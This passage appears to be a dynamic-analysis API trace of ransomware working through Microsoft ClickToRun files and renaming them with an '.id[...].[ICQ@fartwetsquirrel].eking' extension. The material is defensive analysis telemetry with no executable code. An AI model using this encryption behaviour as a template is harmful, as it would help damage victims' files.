Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.393] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=162880) returned 1 [0230.393] CloseHandle (hObject=0x348) returned 1 [0230.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0230.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0230.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.394] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=656088) returned 1 [0230.394] CloseHandle (hObject=0x348) returned 1 [0230.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0230.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0230.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.395] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2054872) returned 1 [0230.395] CloseHandle (hObject=0x348) returned 1 [0230.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0230.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0 [0230.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.396] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=307416) returned 1 [0230.397] CloseHandle (hObject=0x348) returned 1 [0230.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0230.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0230.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.398] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2118360) returned 1 [0230.398] CloseHandle (hObject=0x348) returned 1 [0230.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0230.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0 [0230.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.398] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=468696) returned 1 [0230.399] CloseHandle (hObject=0x348) returned 1 [0230.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0230.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0230.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0230.619] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=396960) returned 1 [0230.619] CloseHandle (hObject=0x358) returned 1 [0230.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0230.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0230.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.620] SetEvent (hEvent=0x2b8) returned 1 [0230.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0230.621] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=473760) returned 1 [0230.621] CloseHandle (hObject=0x358) returned 1 [0230.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0230.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0230.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.622] SetEvent (hEvent=0x2b8) returned 1 [0230.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.626] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=210648) returned 1 [0230.626] CloseHandle (hObject=0x37c) returned 1 [0230.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0230.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0230.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.627] SetEvent (hEvent=0x2b8) returned 1 [0230.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.627] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1402584) returned 1 [0230.628] CloseHandle (hObject=0x37c) returned 1 [0230.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0230.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0230.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.628] SetEvent (hEvent=0x2b8) returned 1 [0230.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.630] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1761448) returned 1 [0230.630] CloseHandle (hObject=0x348) returned 1 [0230.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0230.630] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0 [0230.631] SetEvent (hEvent=0x2b8) returned 1 [0230.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.633] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2285736) returned 1 [0230.633] CloseHandle (hObject=0x37c) returned 1 [0230.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0230.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0230.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0 [0230.633] SetEvent (hEvent=0x2b8) returned 1 [0230.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.635] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=567512) returned 1 [0230.635] CloseHandle (hObject=0x37c) returned 1 [0230.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0230.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0230.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.635] SetEvent (hEvent=0x2b8) returned 1 [0230.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.636] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1231576) returned 1 [0230.637] CloseHandle (hObject=0x37c) returned 1 [0230.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0230.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0230.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.637] SetEvent (hEvent=0x2b8) returned 1 [0230.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.640] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=947928) returned 1 [0230.640] CloseHandle (hObject=0x348) returned 1 [0230.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0230.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0230.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.641] SetEvent (hEvent=0x2b8) returned 1 [0230.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.642] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: 